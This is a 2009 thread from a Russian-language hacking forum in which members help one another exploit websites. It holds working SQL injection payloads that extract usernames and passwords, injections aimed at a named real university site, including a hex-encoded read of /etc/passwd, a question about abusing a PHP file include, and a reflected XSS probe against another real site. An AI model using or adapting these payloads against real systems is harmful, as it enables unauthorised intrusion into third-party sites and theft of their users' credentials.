20.10.2009, 02:18
|
|
Познающий
Регистрация: 12.09.2006
Сообщений: 35
С нами:
10348058
Репутация:
2
|
|
Нашёл инъекцию, но после запроса select в скрипте идет запрос update и вылетает ошибка синтаксиса с запросом:
SELECT * FROM news WHERE type='show' AND id=-32 union select 1,2,3,4,5,6,7,8,9,10 from users
UPDATE news SET count='33' WHERE id=-32 union select 1,2,3,4,5,6,7,8,9,10 from users
поле id обрабатывается функцией addslash() и into output не прокатит. Подскажите, как можно посмотреть данные минуя ошибку.
|
|
|
20.10.2009, 04:26
|
|
Познающий
Регистрация: 19.08.2008
Сообщений: 33
С нами:
9330638
Репутация:
93
|
|
YoriK
SELECT * FROM news WHERE type='show' AND id=32 and 2=1 union select 1,2,3,4,5,6,7,8,9,1100 from users%23
index.php?module=news&action=details&item_id=3+and +2=1+UNION+SELECT+1,2,3,4,5,6,7,8,9,concat_ws(0x3a ,username,password)+from+tcms_users%23
почему не канает?
10 колонок, после апдейта вывод в 10
Последний раз редактировалось VITАL; 20.10.2009 в 17:51..
|
|
|
|
20.10.2009, 12:04
|
|
Постоянный
Регистрация: 07.03.2008
Сообщений: 479
С нами:
9567480
Репутация:
61
|
|
Если в уязвимом скрипте идёт инклуд типа
PHP код:
include("pages/$_GET.php");
То можно провести внешний инклуд?
Последний раз редактировалось Byrger; 20.10.2009 в 12:15..
|
|
|
|
20.10.2009, 12:08
|
|
Познавший АНТИЧАТ
Регистрация: 18.02.2008
Сообщений: 1,136
С нами:
9593606
Репутация:
4915
|
|
нет
|
|
|
|
20.10.2009, 12:13
|
|
Постоянный
Регистрация: 07.03.2008
Сообщений: 479
С нами:
9567480
Репутация:
61
|
|
Сообщение от jokester
нет
А что можно полезного тогда получить из него если на машине Линукс?
|
|
|
|
20.10.2009, 12:20
|
|
Участник форума
Регистрация: 07.08.2008
Сообщений: 281
С нами:
9347610
Репутация:
165
|
|
Сообщение от Byrger
А что можно полезного тогда получить из него если на машине Линукс?
https://forum.antichat.ru/thread12123.html
|
|
|
|
21.10.2009, 02:09
|
|
Leaders of Antichat - Level 4
Регистрация: 16.01.2006
Сообщений: 1,966
С нами:
10692266
Репутация:
3486
|
|
Сообщение от Byrger
А что можно полезного тогда получить из него если на машине Линукс?
Всё то же самое что и при удаленном. Просто потребуется немного больше времени и немного больше навыков.
|
|
|
|
21.10.2009, 12:23
|
|
Members of Antichat - Level 5
Регистрация: 28.05.2007
Сообщений: 729
С нами:
9976706
Репутация:
1934
|
|
тут нормальная не блайнд инъекция
http://www.univd.edu.ua/document/index.php?id_doc=123+and+1=4+union+select+database (),2,3,4,5--+-&lan=ukr
__________________
Появляюсь редко. Важные дела в реале.
|
|
|
|
21.10.2009, 12:32
|
|
Members of Antichat - Level 5
Регистрация: 28.05.2007
Сообщений: 729
С нами:
9976706
Репутация:
1934
|
|
о ептыть тут еще инклуд есть
http://www.univd.edu.ua/document/index.php?id_doc=123+and+1=4+union+select+database (),0x2E2E2F2E2E2F2E2E2F2E2E2F2E2E2F6574632F7061737 37764,3,4,5--+-&lan=ukr
__________________
Появляюсь редко. Важные дела в реале.
|
|
|
|
22.10.2009, 03:26
|
|
Познающий
Регистрация: 20.10.2009
Сообщений: 38
С нами:
8715864
Репутация:
5
|
|
Вот посмотрите пожалуйста, мне кажется это пассивная XSS?просто я в этом вообще не разбераюсь =))
http://la2.sz.ru/news.php?%22%3E%3Cscript%3Ealert()%3C/script%3Ereadmore=99
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Комбинированный вид
